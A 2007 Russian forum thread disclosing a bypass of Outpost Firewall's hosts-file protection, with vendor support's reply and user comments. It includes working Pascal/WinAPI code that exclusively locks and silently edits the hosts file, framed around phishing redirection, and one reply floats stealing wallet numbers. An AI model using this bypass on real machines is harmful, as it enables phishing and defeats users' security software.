PDA

Просмотр полной версии : Outpost - очередная дыра


А®ТеS
05.08.2007, 18:30
Как то у меня родилась в моем замутненном наркотиками и алкоголем мозге идея незаметно от проактивной защиты брандмауэра записывать в
файл hosts некоторые данные. Кто в танке - hosts лежит в %systemroot%\system32\drivers\etc\hosts и содержит соотвествия IP адресов доменным именам.
То есть если искомый хост обнаружен в hosts, то DNSQuery_A из DNSAPI.DLL не станет слать запрос на DNS сервак, а просто вернет прописанный
там IP'шник. Это очень удобно, когда ты например хочешь направить юзера на фишинговый сайт, то есть он пишет e-gold.com а попадает на твою
пагу (впрочем я таким никогда не занимался и тебе не советую, т.к. это подло, грубо и неэтично, плюс ИМХО все фишеры - ламеры, ты ведь не
хочешь пополнить их ряды? :) ). Попытавшись записать стандартно через CreateFile() -> WriteFile() -> CloseHandle() я естественно обломался, т.к.
брандмауэр все таки делал свою работу. Из очень информативного окна я понял что "Найдено SpyWare.... тыр, тыр, тыр.... Исправить.... тыр,
тыр, тыр..... игнорировать..тыр, тыр, тыр". Что примечательно - имени файла, который и есть "SpyWare" указано не было! То есть Оутпост
работал не так, как я думал изначально (перехватывать CreateFile и сверять имя файла с эталонным и если что орать как резаный :) ). Экспериментально было выснено:
1. Оутпост при старте (?) запоминает контент hosts и делает его эталонным.
2. Каждые 5 секунд он сличает эталон с действительным содержанием.
3. Если не совпадает - орем-с как резанные :)

Тут у меня родилась идея - а что если на эти пять секунд запретить Оутпосту доступ к hosts? По крайне мере попытка не пытка, проверяем:
Вобщем наверное каждый знает что у CreateFile типа доступа другими процессами к файлу можно задать тремя флагами:
FILE_SHARE_DELETE - доступ только для ОС
FILE_SHARE_READ - доступ для чтения
FILE_SHARE_WRITE - доступ для записи
Меня заинтересовал первый флаг и родился такой код на Паскале:

...
var
hFile: THandle;
Buff: array [0..1024] of char;
Size: CARDINAL;
...
begin
GetSystemDirectory(Buff, 20);
hFile := CreateFile(PChar(Buff + '\drivers\etc\hosts'),
GENERIC_WRITE + GENERIC_READ,
0, //Внимание сюда!!! Этим флагом мы запрещаем доступ к файлу иными процессами!
NIL,
OPEN_ALWAYS,
0,
0);
if hFile = INVALID_HANDLE_VALUE then Exit;
Buff := #13#10 + '127.0.0.1 PayPal.Com' + #13#10;
FileSeek(hFile, 0, SoFromEnd); //Двигаемся в конец файла, чтобы не задеть первые записи.
WriteFile(hFile, Buff, 22, Size, 0);
sleep(5000); //Спим 5 секундов
CloseHandle(hFile);
...

Т.к. тут используются только WinAPI, то думаю проблем с переносом на другие языки не будет. Что самое странное - этот код работал! И Оуптпост не тявкал на то, что произошло в эти пять секунд.
Хост PayPal.Com с IP 127.0.0.1 (loopback петля локалхоста) исправно добавлялся в hosts! НУ вобщем то это все о чем я хотел рассказать, если бы
не еще один забавный эпизод:
Я как честный человек решил отписать девелоперам о баге, чтобы ее потихому закрыли. Довольно подробно описал проблему, привел выше указанный код,
даже не матерился :). Через часов этак 16 (кстати, довольно оперативно - я знавал комании в которых вообще не отвечали =d) получаю ответ
следующего содержания:

"Здравствуйте.

Благодарим за Ваше обращение в службу технической поддержки компании "Агнитум".

Мы рекомендуем Вам установить последнюю версию Outpost.

Так как наши разработчики постоянно работают над улучшением и оптимизацией программы, многие ошибки предыдущих версий были поправлены, и
проблема, о которой Вы сообщили, может не повториться.

Новую версию Outpost 4.0.1025.7828 (700) Вы можете скачать на http://www.agnitum.ru/products/outpost/download.php

Вы можете установить эту версию, не удаляя предыдущую. Также при инсталляции Вы сможете сохранить текущие настройки программы.

Если в последней версии проблема остается, пожалуйста, дайте нам об этом знать, и мы пристально займёмся изучением данной проблемы.

Благодарим Вас за сотрудничество.

--
Искренне Ваш,
Андрей Патюченко
Служба технической поддержки Agnitum

Вы можете оценить работу службы технической поддержки здесь:
http://www.agnitum.ru/support/supportrate.php"

Короче лол одним словом, даже ничего пояснять не буду :).

З.Ы. Я проверял на Outpost Firewall Pro ver. 4.0.971.7030 (584), т.е. почти последней, ну хренли, скачал последнюю, там естественно бага не закрыта :).
Еще раз подтвердилась истина о том, что люди хорошы лишь на словах и вся "забота о клиентах" сводится к тому что кенты сами вынуждены за них тестить их продуты =d, как говориться "Чем дырявей софт - тем лучше живет программист" (php-nuke и phpBB яркие тому примеры... а также хочется вспомнить Windows, Mozilla Firefox и т.п :)).
На этом позвольтe откланяться, с уважением artes.

n3m0
05.08.2007, 19:07
Спасибо! Зря написал в суппорт. Но всёравно, этим разработчикам пофиг. Мне нравится ихний прославленый крэк(заменить одну библиотеку)

Alexsize
05.08.2007, 19:12
Пахнет ксакепом, а так - ничего. Вот только какая практическая польза? Беспалевнее перехватывать не доменные имена а, например, номера кошелей. Но я не делал, так что это только лишь ИМХО=)

А®ТеS
05.08.2007, 19:26
2Alexsize: Тык я вроде отписал - по исследованиям крутых дядек щас фишеры набирают популярность, я на Секлабовскую рассылку подписан, там что ни день новости типа "Очередная расслыка спама с целью привлечения посетителей на фейк-сайт" или "мошенники зарегали домен wePmoney.com" ну и т.п.
2n3m0: нащет саппортов... ну я вроде чесный человек =d. К тому же кто же знал кто в техпомощи сидит?))). Но я кстати все равно их продуктом буду пользоваться, т.к. от всякой "серийно иззотавливаемой" заразы он защищает, а если специалльно тебя решат ломануть, то ничто не поможет (кроме прямых рук ну и тп) :).